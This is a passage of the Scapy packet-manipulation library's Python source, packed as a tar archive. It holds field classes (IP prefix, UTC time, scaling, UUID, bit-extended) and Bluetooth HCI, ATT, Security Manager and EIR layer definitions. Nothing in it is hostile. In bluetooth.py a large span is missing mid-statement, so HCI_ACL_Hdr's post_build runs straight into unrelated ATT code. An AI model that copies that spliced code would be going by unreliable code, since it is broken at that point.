these_names = self.names.get(v, {}) r = 0 for flag_set in x: for i, val in six.iteritems(these_names): if val.short == flag_set: r |= 1 << i break else: r |= 1 << int(flag_set[len('bit '):]) return r def m2i(self, pkt, x): v = self.depends_on(pkt) these_names = self.names.get(v, {}) r = set() i = 0 while x: if x & 1: if i in these_names: r.add(these_names[i].short) else: r.add('bit {}'.format(i)) x >>= 1 i += 1 return r def i2repr(self, pkt, x): v = self.depends_on(pkt) these_names = self.names.get(v, {}) r = set() for flag_set in x: for i in six.itervalues(these_names): if i.short == flag_set: r.add("{} ({})".format(i.long, i.short)) break else: r.add(flag_set) return repr(r) class FixedPointField(BitField): __slots__ = ['frac_bits'] def __init__(self, name, default, size, frac_bits=16): self.frac_bits = frac_bits BitField.__init__(self, name, default, size) def any2i(self, pkt, val): if val is None: return val ival = int(val) fract = int((val - ival) * 2**self.frac_bits) return (ival << self.frac_bits) | fract def i2h(self, pkt, val): int_part = val >> self.frac_bits frac_part = val & (1 << self.frac_bits) - 1 frac_part /= 2.0**self.frac_bits return int_part + frac_part def i2repr(self, pkt, val): return self.i2h(pkt, val) # Base class for IPv4 and IPv6 Prefixes inspired by IPField and IP6Field. # Machine values are encoded in a multiple of wordbytes bytes. class _IPPrefixFieldBase(Field): __slots__ = ["wordbytes", "maxbytes", "aton", "ntoa", "length_from"] def __init__(self, name, default, wordbytes, maxbytes, aton, ntoa, length_from): # noqa: E501 self.wordbytes = wordbytes self.maxbytes = maxbytes self.aton = aton self.ntoa = ntoa Field.__init__(self, name, default, "%is" % self.maxbytes) self.length_from = length_from def _numbytes(self, pfxlen): wbits = self.wordbytes * 8 return ((pfxlen + (wbits - 1)) // wbits) * self.wordbytes def h2i(self, pkt, x): # "fc00:1::1/64" -> ("fc00:1::1", 64) [pfx, pfxlen] = x.split('/') self.aton(pfx) # check for validity return (pfx, int(pfxlen)) def i2h(self, pkt, x): # ("fc00:1::1", 64) -> "fc00:1::1/64" (pfx, pfxlen) = x return "%s/%i" % (pfx, pfxlen) def i2m(self, pkt, x): # ("fc00:1::1", 64) -> (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) # noqa: E501 (pfx, pfxlen) = x s = self.aton(pfx) return (s[:self._numbytes(pfxlen)], pfxlen) def m2i(self, pkt, x): # (b"\xfc\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01", 64) -> ("fc00:1::1", 64) # noqa: E501 (s, pfxlen) = x if len(s) < self.maxbytes: s = s + (b"\0" * (self.maxbytes - len(s))) return (self.ntoa(s), pfxlen) def any2i(self, pkt, x): if x is None: return (self.ntoa(b"\0" * self.maxbytes), 1) return self.h2i(pkt, x) def i2len(self, pkt, x): (_, pfxlen) = x return pfxlen def addfield(self, pkt, s, val): (rawpfx, pfxlen) = self.i2m(pkt, val) fmt = "!%is" % self._numbytes(pfxlen) return s + struct.pack(fmt, rawpfx) def getfield(self, pkt, s): pfxlen = self.length_from(pkt) numbytes = self._numbytes(pfxlen) fmt = "!%is" % numbytes return s[numbytes:], self.m2i(pkt, (struct.unpack(fmt, s[:numbytes])[0], pfxlen)) # noqa: E501 class IPPrefixField(_IPPrefixFieldBase): def __init__(self, name, default, wordbytes=1, length_from=None): _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 4, inet_aton, inet_ntoa, length_from) # noqa: E501 class IP6PrefixField(_IPPrefixFieldBase): def __init__(self, name, default, wordbytes=1, length_from=None): _IPPrefixFieldBase.__init__(self, name, default, wordbytes, 16, lambda a: inet_pton(socket.AF_INET6, a), lambda n: inet_ntop(socket.AF_INET6, n), length_from) # noqa: E501 class UTCTimeField(IntField): __slots__ = ["epoch", "delta", "strf", "use_msec", "use_micro", "use_nano"] # Do not change the order of the keywords in here # Netflow heavily rely on this def __init__(self, name, default, use_msec=False, use_micro=False, use_nano=False, epoch=None, strf="%a, %d %b %Y %H:%M:%S %z"): IntField.__init__(self, name, default) mk_epoch = EPOCH if epoch is None else calendar.timegm(epoch) self.epoch = mk_epoch self.delta = mk_epoch - EPOCH self.strf = strf self.use_msec = use_msec self.use_micro = use_micro self.use_nano = use_nano def i2repr(self, pkt, x): if x is None: x = 0 elif self.use_msec: x = x / 1e3 elif self.use_micro: x = x / 1e6 elif self.use_nano: x = x / 1e9 x = int(x) + self.delta t = time.strftime(self.strf, time.gmtime(x)) return "%s (%d)" % (t, x) def i2m(self, pkt, x): return int(x) if x is not None else 0 class SecondsIntField(IntField): __slots__ = ["use_msec", "use_micro", "use_nano"] # Do not change the order of the keywords in here # Netflow heavily rely on this def __init__(self, name, default, use_msec=False, use_micro=False, use_nano=False): IntField.__init__(self, name, default) self.use_msec = use_msec self.use_micro = use_micro self.use_nano = use_nano def i2repr(self, pkt, x): if x is None: x = 0 elif self.use_msec: x = x / 1e3 elif self.use_micro: x = x / 1e6 elif self.use_nano: x = x / 1e9 return "%s sec" % x class _ScalingField(object): def __init__(self, name, default, scaling=1, unit="", offset=0, ndigits=3, fmt="B"): self.scaling = scaling self.unit = unit self.offset = offset self.ndigits = ndigits Field.__init__(self, name, default, fmt) def i2m(self, pkt, x): if x is None: x = 0 x = (x - self.offset) / self.scaling if isinstance(x, float) and self.fmt[-1] != "f": x = int(round(x)) return x def m2i(self, pkt, x): x = x * self.scaling + self.offset if isinstance(x, float) and self.fmt[-1] != "f": x = round(x, self.ndigits) return x def any2i(self, pkt, x): if isinstance(x, (str, bytes)): x = struct.unpack(self.fmt, bytes_encode(x))[0] x = self.m2i(pkt, x) return x def i2repr(self, pkt, x): return "%s %s" % (self.i2h(pkt, x), self.unit) def randval(self): value = super(_ScalingField, self).randval() if value is not None: min_val = round(value.min * self.scaling + self.offset, self.ndigits) max_val = round(value.max * self.scaling + self.offset, self.ndigits) return RandFloat(min(min_val, max_val), max(min_val, max_val)) class ScalingField(_ScalingField, Field): """ Handle physical values which are scaled and/or offset for communication Example: >>> from scapy.packet import Packet >>> class ScalingFieldTest(Packet): fields_desc = [ScalingField('data', 0, scaling=0.1, offset=-1, unit='mV')] # noqa: E501 >>> ScalingFieldTest(data=10).show2() ###[ ScalingFieldTest ]### data= 10.0 mV >>> hexdump(ScalingFieldTest(data=10)) 0000 6E n >>> hexdump(ScalingFieldTest(data=b"\x6D")) 0000 6D m >>> ScalingFieldTest(data=b"\x6D").show2() ###[ ScalingFieldTest ]### data= 9.9 mV bytes(ScalingFieldTest(...)) will produce 0x6E in this example. 0x6E is 110 (decimal). This is calculated through the scaling factor and the offset. "data" was set to 10, which means, we want to transfer the physical value 10 mV. To calculate the value, which has to be sent on the bus, the offset has to subtracted and the scaling has to be applied by division through the scaling factor. bytes = (data - offset) / scaling bytes = ( 10 - (-1) ) / 0.1 bytes = 110 = 0x6E If you want to force a certain internal value, you can assign a byte- string to the field (data=b"\x6D"). If a string of a bytes object is given to the field, no internal value conversion will be applied :param name: field's name :param default: default value for the field :param scaling: scaling factor for the internal value conversion :param unit: string for the unit representation of the internal value :param offset: value to offset the internal value during conversion :param ndigits: number of fractional digits for the internal conversion :param fmt: struct.pack format used to parse and serialize the internal value from and to machine representation # noqa: E501 """ class BitScalingField(_ScalingField, BitField): """ A ScalingField that is a BitField """ def __init__(self, name, default, size, *args, **kwargs): _ScalingField.__init__(self, name, default, *args, **kwargs) BitField.__init__(self, name, default, size) class UUIDField(Field): """Field for UUID storage, wrapping Python's uuid.UUID type. The internal storage format of this field is ``uuid.UUID`` from the Python standard library. There are three formats (``uuid_fmt``) for this field type: * ``FORMAT_BE`` (default): the UUID is six fields in big-endian byte order, per RFC 4122. This format is used by DHCPv6 (RFC 6355) and most network protocols. * ``FORMAT_LE``: the UUID is six fields, with ``time_low``, ``time_mid`` and ``time_high_version`` in little-endian byte order. This *doesn't* change the arrangement of the fields from RFC 4122. This format is used by Microsoft's COM/OLE libraries. * ``FORMAT_REV``: the UUID is a single 128-bit integer in little-endian byte order. This *changes the arrangement* of the fields. This format is used by Bluetooth Low Energy. Note: You should use the constants here. The "human encoding" of this field supports a number of different input formats, and wraps Python's ``uuid.UUID`` library appropriately: * Given a bytearray, bytes or str of 16 bytes, this class decodes UUIDs in wire format. * Given a bytearray, bytes or str of other lengths, this delegates to ``uuid.UUID`` the Python standard library. This supports a number of different encoding options -- see the Python standard library documentation for more details. * Given an int or long, presumed to be a 128-bit integer to pass to ``uuid.UUID``. * Given a tuple: * Tuples of 11 integers are treated as having the last 6 integers forming the ``node`` field, and are merged before being passed as a tuple of 6 integers to ``uuid.UUID``. * Otherwise, the tuple is passed as the ``fields`` parameter to ``uuid.UUID`` directly without modification. ``uuid.UUID`` expects a tuple of 6 integers. Other types (such as ``uuid.UUID``) are passed through. """ __slots__ = ["uuid_fmt"] FORMAT_BE = 0 FORMAT_LE = 1 FORMAT_REV = 2 # Change this when we get new formats FORMATS = (FORMAT_BE, FORMAT_LE, FORMAT_REV) def __init__(self, name, default, uuid_fmt=FORMAT_BE): self.uuid_fmt = uuid_fmt self._check_uuid_fmt() Field.__init__(self, name, default, "16s") def _check_uuid_fmt(self): """Checks .uuid_fmt, and raises an exception if it is not valid.""" if self.uuid_fmt not in UUIDField.FORMATS: raise FieldValueRangeException( "Unsupported uuid_fmt ({})".format(self.uuid_fmt)) def i2m(self, pkt, x): self._check_uuid_fmt() if x is None: return b'\0' * 16 if self.uuid_fmt == UUIDField.FORMAT_BE: return x.bytes elif self.uuid_fmt == UUIDField.FORMAT_LE: return x.bytes_le elif self.uuid_fmt == UUIDField.FORMAT_REV: return x.bytes[::-1] def m2i(self, pkt, x): self._check_uuid_fmt() if self.uuid_fmt == UUIDField.FORMAT_BE: return UUID(bytes=x) elif self.uuid_fmt == UUIDField.FORMAT_LE: return UUID(bytes_le=x) elif self.uuid_fmt == UUIDField.FORMAT_REV: return UUID(bytes=x[::-1]) def any2i(self, pkt, x): # Python's uuid doesn't handle bytearray, so convert to an immutable # type first. if isinstance(x, bytearray): x = bytes(x) if isinstance(x, six.integer_types): x = UUID(int=x) elif isinstance(x, tuple): if len(x) == 11: # For compatibility with dce_rpc: this packs into a tuple where # elements 7..10 are the 48-bit node ID. node = 0 for i in x[5:]: node = (node << 8) | i x = (x[0], x[1], x[2], x[3], x[4], node) x = UUID(fields=x) elif isinstance(x, (six.binary_type, six.text_type)): if len(x) == 16: # Raw bytes x = self.m2i(pkt, x) else: x = UUID(plain_str(x)) return x @staticmethod def randval(): return RandUUID() class BitExtendedField(Field): """ Bit Extended Field This type of field has a variable number of bytes. Each byte is defined as follows: - 7 bits of data - 1 bit an an extension bit: + 0 means it is last byte of the field ("stopping bit") + 1 means there is another byte after this one ("forwarding bit") To get the actual data, it is necessary to hop the binary data byte per byte and to check the extension bit until 0 """ __slots__ = ["extension_bit"] def prepare_byte(self, x): # Moves the forwarding bit to the LSB x = int(x) fx_bit = (x & 2**self.extension_bit) >> self.extension_bit lsb_bits = x & 2**self.extension_bit - 1 msb_bits = x >> (self.extension_bit + 1) x = (msb_bits << (self.extension_bit + 1)) + (lsb_bits << 1) + fx_bit return x def str2extended(self, x=""): # For convenience, we reorder the byte so that the forwarding # bit is always the LSB. We then apply the same algorithm # whatever the real forwarding bit position # First bit is the stopping bit at zero bits = 0b0 end = None # We retrieve 7 bits. # If "forwarding bit" is 1 then we continue on another byte i = 0 for c in bytearray(x): c = self.prepare_byte(c) bits = bits << 7 | (int(c) >> 1) if not int(c) & 0b1: end = x[i + 1:] break i = i + 1 if end is None: # We reached the end of the data but there was no # "ending bit". This is not normal. return None, None else: return end, bits def extended2str(self, x): x = int(x) s = [] LSByte = True FX_Missing = True bits = 0b0 i = 0 while (x > 0 or FX_Missing): if i == 8: # End of byte i = 0 s.append(bits) bits = 0b0 FX_Missing = True else: if i % 8 == self.extension_bit: # This is extension bit if LSByte: bits = bits | 0b0 << i LSByte = False else: bits = bits | 0b1 << i FX_Missing = False else: bits = bits | (x & 0b1) << i x = x >> 1 # Still some bits i = i + 1 s.append(bits) result = "".encode() for x in s[:: -1]: result = result + struct.pack(">B", x) return result def __init__(self, name, default, extension_bit): Field.__init__(self, name, default, "B") self.extension_bit = extension_bit def i2m(self, pkt, x): return self.extended2str(x) def m2i(self, pkt, x): return self.str2extended(x)[1] def addfield(self, pkt, s, val): return s + self.i2m(pkt, val) def getfield(self, pkt, s): return self.str2extended(s) class LSBExtendedField(BitExtendedField): # This is a BitExtendedField with the extension bit on LSB def __init__(self, name, default): BitExtendedField.__init__(self, name, default, extension_bit=0) class MSBExtendedField(BitExtendedField): # This is a BitExtendedField with the extension bit on MSB def __init__(self, name, default): BitExtendedField.__init__(self, name, default, extension_bit=7) scapy-2.4.4/scapy/layers/000077500000000000000000000000001372370053500152635ustar00rootroot00000000000000scapy-2.4.4/scapy/layers/__init__.py000066400000000000000000000003311372370053500173710ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Layer package. """ scapy-2.4.4/scapy/layers/all.py000066400000000000000000000014711372370053500164100ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ All layers. Configurable with conf.load_layers. """ from __future__ import absolute_import from scapy.config import conf from scapy.error import log_loading from scapy.main import load_layer import logging import scapy.modules.six as six ignored = list(six.moves.builtins.__dict__) + ["sys"] log = logging.getLogger("scapy.loading") __all__ = [] for _l in conf.load_layers: log_loading.debug("Loading layer %s" % _l) try: load_layer(_l, globals_dict=globals(), symb_list=__all__) except Exception as e: log.warning("can't import layer %s: %s", _l, e) try: del _l except NameError: pass scapy-2.4.4/scapy/layers/bluetooth.py000066400000000000000000001510411372370053500176440ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # Copyright (C) Mike Ryan # Copyright (C) Michael Farrell # This program is published under a GPLv2 license """ Bluetooth layers, sockets and send/receive functions. """ import ctypes import functools import socket import struct import select from ctypes import sizeof from scapy.config import conf from scapy.data import DLT_BLUETOOTH_HCI_H4, DLT_BLUETOOTH_HCI_H4_WITH_PHDR from scapy.packet import bind_layers, Packet from scapy.fields import ByteEnumField, ByteField, Field, FieldLenField, \ FieldListField, FlagsField, IntField, LEShortEnumField, LEShortField, \ LenField, PacketListField, SignedByteField, StrField, StrFixedLenField, \ StrLenField, XByteField, BitField, XLELongField, PadField, UUIDField, \ XStrLenField, ConditionalField from scapy.supersocket import SuperSocket from scapy.sendrecv import sndrcv from scapy.data import MTU from scapy.consts import WINDOWS from scapy.error import warning from scapy.utils import lhex, mac2str, str2mac from scapy.volatile import RandMAC from scapy.modules import six ########## # Fields # ########## class XLEShortField(LEShortField): def i2repr(self, pkt, x): return lhex(self.i2h(pkt, x)) class LEMACField(Field): def __init__(self, name, default): Field.__init__(self, name, default, "6s") def i2m(self, pkt, x): if x is None: return b"\0\0\0\0\0\0" return mac2str(x)[::-1] def m2i(self, pkt, x): return str2mac(x[::-1]) def any2i(self, pkt, x): if isinstance(x, (six.binary_type, six.text_type)) and len(x) == 6: x = self.m2i(pkt, x) return x def i2repr(self, pkt, x): x = self.i2h(pkt, x) if self in conf.resolve: x = conf.manufdb._resolve_MAC(x) return x def randval(self): return RandMAC() ########## # Layers # ########## # See bluez/lib/hci.h for details # Transport layers class HCI_PHDR_Hdr(Packet): name = "HCI PHDR transport layer" fields_desc = [IntField("direction", 0)] # Real layers _bluetooth_packet_types = { 0: "Acknowledgement", 1: "Command", 2: "ACL Data", 3: "Synchronous", 4: "Event", 5: "Reserve", 14: "Vendor", 15: "Link Control" } _bluetooth_error_codes = { 0x00: "Success", 0x01: "Unknown HCI Command", 0x02: "Unknown Connection Identifier", 0x03: "Hardware Failure", 0x04: "Page Timeout", 0x05: "Authentication Failure", 0x06: "PIN or Key Missing", 0x07: "Memory Capacity Exceeded", 0x08: "Connection Timeout", 0x09: "Connection Limit Exceeded", 0x0A: "Synchronous Connection Limit To A Device Exceeded", 0x0B: "Connection Already Exists", 0x0C: "Command Disallowed", 0x0D: "Connection Rejected due to Limited Resources", 0x0E: "Connection Rejected Due To Security Reasons", 0x0F: "Connection Rejected due to Unacceptable BD_ADDR", 0x10: "Connection Accept Timeout Exceeded", 0x11: "Unsupported Feature or Parameter Value", 0x12: "Invalid HCI Command Parameters", 0x13: "Remote User Terminated Connection", 0x14: "Remote Device Terminated Connection due to Low Resources", 0x15: "Remote Device Terminated Connection due to Power Off", 0x16: "Connection Terminated By Local Host", 0x17: "Repeated Attempts", 0x18: "Pairing Not Allowed", 0x19: "Unknown LMP PDU", 0x1A: "Unsupported Remote Feature / Unsupported LMP Feature", 0x1B: "SCO Offset Rejected", 0x1C: "SCO Interval Rejected", 0x1D: "SCO Air Mode Rejected", 0x1E: "Invalid LMP Parameters / Invalid LL Parameters", 0x1F: "Unspecified Error", 0x20: "Unsupported LMP Parameter Value / Unsupported LL Parameter Value", 0x21: "Role Change Not Allowed", 0x22: "LMP Response Timeout / LL Response Timeout", 0x23: "LMP Error Transaction Collision / LL Procedure Collision", 0x24: "LMP PDU Not Allowed", 0x25: "Encryption Mode Not Acceptable", 0x26: "Link Key cannot be Changed", 0x27: "Requested QoS Not Supported", 0x28: "Instant Passed", 0x29: "Pairing With Unit Key Not Supported", 0x2A: "Different Transaction Collision", 0x2B: "Reserved for future use", 0x2C: "QoS Unacceptable Parameter", 0x2D: "QoS Rejected", 0x2E: "Channel Classification Not Supported", 0x2F: "Insufficient Security", 0x30: "Parameter Out Of Mandatory Range", 0x31: "Reserved for future use", 0x32: "Role Switch Pending", 0x33: "Reserved for future use", 0x34: "Reserved Slot Violation", 0x35: "Role Switch Failed", 0x36: "Extended Inquiry Response Too Large", 0x37: "Secure Simple Pairing Not Supported By Host", 0x38: "Host Busy - Pairing", 0x39: "Connection Rejected due to No Suitable Channel Found", 0x3A: "Controller Busy", 0x3B: "Unacceptable Connection Parameters", 0x3C: "Advertising Timeout", 0x3D: "Connection Terminated due to MIC Failure", 0x3E: "Connection Failed to be Established / Synchronization Timeout", 0x3F: "MAC Connection Failed", 0x40: "Coarse Clock Adjustment Rejected but Will Try to Adjust Using Clock" " Dragging", 0x41: "Type0 Submap Not Defined", 0x42: "Unknown Advertising Identifier", 0x43: "Limit Reached", 0x44: "Operation Cancelled by Host", 0x45: "Packet Too Long" } _att_error_codes = { 0x01: "invalid handle", 0x02: "read not permitted", 0x03: "write not permitted", 0x04: "invalid pdu", 0x05: "insufficient auth", 0x06: "unsupported req", 0x07: "invalid offset", 0x08: "insuficient author", 0x09: "prepare queue full", 0x0a: "attr not found", 0x0b: "attr not long", 0x0c: "insufficient key size", 0x0d: "invalid value size", 0x0e: "unlikely", 0x0f: "insufficiet encrypt", 0x10: "unsupported gpr type", 0x11: "insufficient resources", } class HCI_Hdr(Packet): name = "HCI header" fields_desc = [ByteEnumField("type", 2, _bluetooth_packet_types)] def mysummary(self): return self.sprintf("HCI %type%") class HCI_ACL_Hdr(Packet): name = "HCI ACL header" fields_desc = [BitField("BC", 0, 2, tot_size=-2), BitField("PB", 0, 2), BitField("handle", 0, 12, end_tot_size=-2), LEShortField("len", None), ] def post_build(self, p, pay): p += pay if self.len is None: p = p[:2] + struct.pack("= pkt.len: return functools.partial( ATT_Handle_Variable, val_length=pkt.len - 2 ) return None class ATT_Read_Request(Packet): name = "Read Request" fields_desc = [XLEShortField("gatt_handle", 0), ] class ATT_Read_Response(Packet): name = "Read Response" fields_desc = [StrField("value", "")] class ATT_Read_Multiple_Request(Packet): name = "Read Multiple Request" fields_desc = [FieldListField("handles", [], XLEShortField("", 0))] class ATT_Read_Multiple_Response(Packet): name = "Read Multiple Response" fields_desc = [StrField("values", "")] class ATT_Read_By_Group_Type_Request(Packet): name = "Read By Group Type Request" fields_desc = [XLEShortField("start", 0), XLEShortField("end", 0xffff), XLEShortField("uuid", 0), ] class ATT_Read_By_Group_Type_Response(Packet): name = "Read By Group Type Response" fields_desc = [XByteField("length", 0), StrField("data", ""), ] class ATT_Write_Request(Packet): name = "Write Request" fields_desc = [XLEShortField("gatt_handle", 0), StrField("data", ""), ] class ATT_Write_Command(Packet): name = "Write Request" fields_desc = [XLEShortField("gatt_handle", 0), StrField("data", ""), ] class ATT_Write_Response(Packet): name = "Write Response" class ATT_Prepare_Write_Request(Packet): name = "Prepare Write Request" fields_desc = [ XLEShortField("gatt_handle", 0), LEShortField("offset", 0), StrField("data", "") ] class ATT_Prepare_Write_Response(ATT_Prepare_Write_Request): name = "Prepare Write Response" class ATT_Handle_Value_Notification(Packet): name = "Handle Value Notification" fields_desc = [XLEShortField("gatt_handle", 0), StrField("value", ""), ] class ATT_Execute_Write_Request(Packet): name = "Execute Write Request" fields_desc = [ ByteEnumField("flags", 1, { 0: "Cancel all prepared writes", 1: "Immediately write all pending prepared values", }), ] class ATT_Execute_Write_Response(Packet): name = "Execute Write Response" class ATT_Read_Blob_Request(Packet): name = "Read Blob Request" fields_desc = [ XLEShortField("gatt_handle", 0), LEShortField("offset", 0) ] class ATT_Read_Blob_Response(Packet): name = "Read Blob Response" fields_desc = [ StrField("value", "") ] class ATT_Handle_Value_Indication(Packet): name = "Handle Value Indication" fields_desc = [ XLEShortField("gatt_handle", 0), StrField("value", ""), ] class SM_Hdr(Packet): name = "SM header" fields_desc = [ByteField("sm_command", None)] class SM_Pairing_Request(Packet): name = "Pairing Request" fields_desc = [ByteEnumField("iocap", 3, {0: "DisplayOnly", 1: "DisplayYesNo", 2: "KeyboardOnly", 3: "NoInputNoOutput", 4: "KeyboardDisplay"}), # noqa: E501 ByteEnumField("oob", 0, {0: "Not Present", 1: "Present (from remote device)"}), # noqa: E501 BitField("authentication", 0, 8), ByteField("max_key_size", 16), ByteField("initiator_key_distribution", 0), ByteField("responder_key_distribution", 0), ] class SM_Pairing_Response(Packet): name = "Pairing Response" fields_desc = [ByteEnumField("iocap", 3, {0: "DisplayOnly", 1: "DisplayYesNo", 2: "KeyboardOnly", 3: "NoInputNoOutput", 4: "KeyboardDisplay"}), # noqa: E501 ByteEnumField("oob", 0, {0: "Not Present", 1: "Present (from remote device)"}), # noqa: E501 BitField("authentication", 0, 8), ByteField("max_key_size", 16), ByteField("initiator_key_distribution", 0), ByteField("responder_key_distribution", 0), ] class SM_Confirm(Packet): name = "Pairing Confirm" fields_desc = [StrFixedLenField("confirm", b'\x00' * 16, 16)] class SM_Random(Packet): name = "Pairing Random" fields_desc = [StrFixedLenField("random", b'\x00' * 16, 16)] class SM_Failed(Packet): name = "Pairing Failed" fields_desc = [XByteField("reason", 0)] class SM_Encryption_Information(Packet): name = "Encryption Information" fields_desc = [StrFixedLenField("ltk", b"\x00" * 16, 16), ] class SM_Master_Identification(Packet): name = "Master Identification" fields_desc = [XLEShortField("ediv", 0), StrFixedLenField("rand", b'\x00' * 8, 8), ] class SM_Identity_Information(Packet): name = "Identity Information" fields_desc = [StrFixedLenField("irk", b'\x00' * 16, 16), ] class SM_Identity_Address_Information(Packet): name = "Identity Address Information" fields_desc = [ByteEnumField("atype", 0, {0: "public"}), LEMACField("address", None), ] class SM_Signing_Information(Packet): name = "Signing Information" fields_desc = [StrFixedLenField("csrk", b'\x00' * 16, 16), ] class SM_Public_Key(Packet): name = "Public Key" fields_desc = [StrFixedLenField("key_x", b'\x00' * 32, 32), StrFixedLenField("key_y", b'\x00' * 32, 32), ] class SM_DHKey_Check(Packet): name = "DHKey Check" fields_desc = [StrFixedLenField("dhkey_check", b'\x00' * 16, 16), ] class EIR_Hdr(Packet): name = "EIR Header" fields_desc = [ LenField("len", None, fmt="B", adjust=lambda x: x + 1), # Add bytes mark # noqa: E501 # https://www.bluetooth.com/specifications/assigned-numbers/generic-access-profile ByteEnumField("type", 0, { 0x01: "flags", 0x02: "incomplete_list_16_bit_svc_uuids", 0x03: "complete_list_16_bit_svc_uuids", 0x04: "incomplete_list_32_bit_svc_uuids", 0x05: "complete_list_32_bit_svc_uuids", 0x06: "incomplete_list_128_bit_svc_uuids", 0x07: "complete_list_128_bit_svc_uuids", 0x08: "shortened_local_name", 0x09: "complete_local_name", 0x0a: "tx_power_level", 0x0d: "class_of_device", 0x0e: "simple_pairing_hash", 0x0f: "simple_pairing_rand", 0x10: "sec_mgr_tk", 0x11: "sec_mgr_oob_flags", 0x12: "slave_conn_intvl_range", 0x14: "list_16_bit_svc_sollication_uuids", 0x15: "list_128_bit_svc_sollication_uuids", 0x16: "svc_data_16_bit_uuid", 0x17: "pub_target_addr", 0x18: "rand_target_addr", 0x19: "appearance", 0x1a: "adv_intvl", 0x1b: "le_addr", 0x1c: "le_role", 0x1d: "simple_pairing_hash_256", 0x1e: "simple_pairing_rand_256", 0x1f: "list_32_bit_svc_sollication_uuids", 0x20: "svc_data_32_bit_uuid", 0x21: "svc_data_128_bit_uuid", 0x22: "sec_conn_confirm", 0x23: "sec_conn_rand", 0x24: "uri", 0x25: "indoor_positioning", 0x26: "transport_discovery", 0x27: "le_supported_features", 0x28: "channel_map_update", 0x29: "mesh_pb_adv", 0x2a: "mesh_message", 0x2b: "mesh_beacon", 0x3d: "3d_information", 0xff: "mfg_specific_data", }), ] def mysummary(self): return self.sprintf("EIR %type%") class EIR_Element(Packet): name = "EIR Element" def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. return b'', s @staticmethod def length_from(pkt): if not pkt.underlayer: warning("Missing an upper-layer") return 0 # 'type' byte is included in the length, so subtract 1: return pkt.underlayer.len - 1 class EIR_Raw(EIR_Element): name = "EIR Raw" fields_desc = [ StrLenField("data", "", length_from=EIR_Element.length_from) ] class EIR_Flags(EIR_Element): name = "Flags" fields_desc = [ FlagsField("flags", 0x2, 8, ["limited_disc_mode", "general_disc_mode", "br_edr_not_supported", "simul_le_br_edr_ctrl", "simul_le_br_edr_host"] + 3 * ["reserved"]) ] class EIR_CompleteList16BitServiceUUIDs(EIR_Element): name = "Complete list of 16-bit service UUIDs" fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members FieldListField("svc_uuids", None, XLEShortField("uuid", 0), length_from=EIR_Element.length_from) ] class EIR_IncompleteList16BitServiceUUIDs(EIR_CompleteList16BitServiceUUIDs): name = "Incomplete list of 16-bit service UUIDs" class EIR_CompleteList128BitServiceUUIDs(EIR_Element): name = "Complete list of 128-bit service UUIDs" fields_desc = [ FieldListField("svc_uuids", None, UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_REV), length_from=EIR_Element.length_from) ] class EIR_IncompleteList128BitServiceUUIDs(EIR_CompleteList128BitServiceUUIDs): name = "Incomplete list of 128-bit service UUIDs" class EIR_CompleteLocalName(EIR_Element): name = "Complete Local Name" fields_desc = [ StrLenField("local_name", "", length_from=EIR_Element.length_from) ] class EIR_ShortenedLocalName(EIR_CompleteLocalName): name = "Shortened Local Name" class EIR_TX_Power_Level(EIR_Element): name = "TX Power Level" fields_desc = [SignedByteField("level", 0)] class EIR_Manufacturer_Specific_Data(EIR_Element): name = "EIR Manufacturer Specific Data" fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers/company-identifiers XLEShortField("company_id", None), ] registered_magic_payloads = {} @classmethod def register_magic_payload(cls, payload_cls, magic_check=None): """ Registers a payload type that uses magic data. Traditional payloads require registration of a Bluetooth Company ID (requires company membership of the Bluetooth SIG), or a Bluetooth Short UUID (requires a once-off payment). There are alternatives which don't require registration (such as 128-bit UUIDs), but the biggest consumer of energy in a beacon is the radio -- so the energy consumption of a beacon is proportional to the number of bytes in a beacon frame. Some beacon formats side-step this issue by using the Company ID of their beacon hardware manufacturer, and adding a "magic data sequence" at the start of the Manufacturer Specific Data field. Examples of this are AltBeacon and GeoBeacon. For an example of this method in use, see ``scapy.contrib.altbeacon``. :param Type[scapy.packet.Packet] payload_cls: A reference to a Packet subclass to register as a payload. :param Callable[[bytes], bool] magic_check: (optional) callable to use to if a payload should be associated with this type. If not supplied, ``payload_cls.magic_check`` is used instead. :raises TypeError: If ``magic_check`` is not specified, and ``payload_cls.magic_check`` is not implemented. """ if magic_check is None: if hasattr(payload_cls, "magic_check"): magic_check = payload_cls.magic_check else: raise TypeError("magic_check not specified, and {} has no " "attribute magic_check".format(payload_cls)) cls.registered_magic_payloads[payload_cls] = magic_check def default_payload_class(self, payload): for cls, check in six.iteritems( EIR_Manufacturer_Specific_Data.registered_magic_payloads): if check(payload): return cls return Packet.default_payload_class(self, payload) def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 2 return s[:plen], s[plen:] class EIR_Device_ID(EIR_Element): name = "Device ID" fields_desc = [ XLEShortField("vendor_id_source", 0), XLEShortField("vendor_id", 0), XLEShortField("product_id", 0), XLEShortField("version", 0), ] class EIR_ServiceData16BitUUID(EIR_Element): name = "EIR Service Data - 16-bit UUID" fields_desc = [ # https://www.bluetooth.com/specifications/assigned-numbers/16-bit-uuids-for-members XLEShortField("svc_uuid", None), ] def extract_padding(self, s): # Needed to end each EIR_Element packet and make PacketListField work. plen = EIR_Element.length_from(self) - 2 return s[:plen], s[plen:] class HCI_Command_Hdr(Packet): name = "HCI Command header" fields_desc = [XLEShortField("opcode", 0), LenField("len", None, fmt="B"), ] def answers(self, other): return False def post_build(self, p, pay): p += pay if self.len is None: p = p[:2] + struct.pack("B", len(pay)) + p[3:] return p class HCI_Cmd_Reset(Packet): name = "Reset" class HCI_Cmd_Set_Event_Filter(Packet): name = "Set Event Filter" fields_desc = [ByteEnumField("type", 0, {0: "clear"}), ] class HCI_Cmd_Connect_Accept_Timeout(Packet): name = "Connection Attempt Timeout" fields_desc = [LEShortField("timeout", 32000)] # 32000 slots is 20000 msec 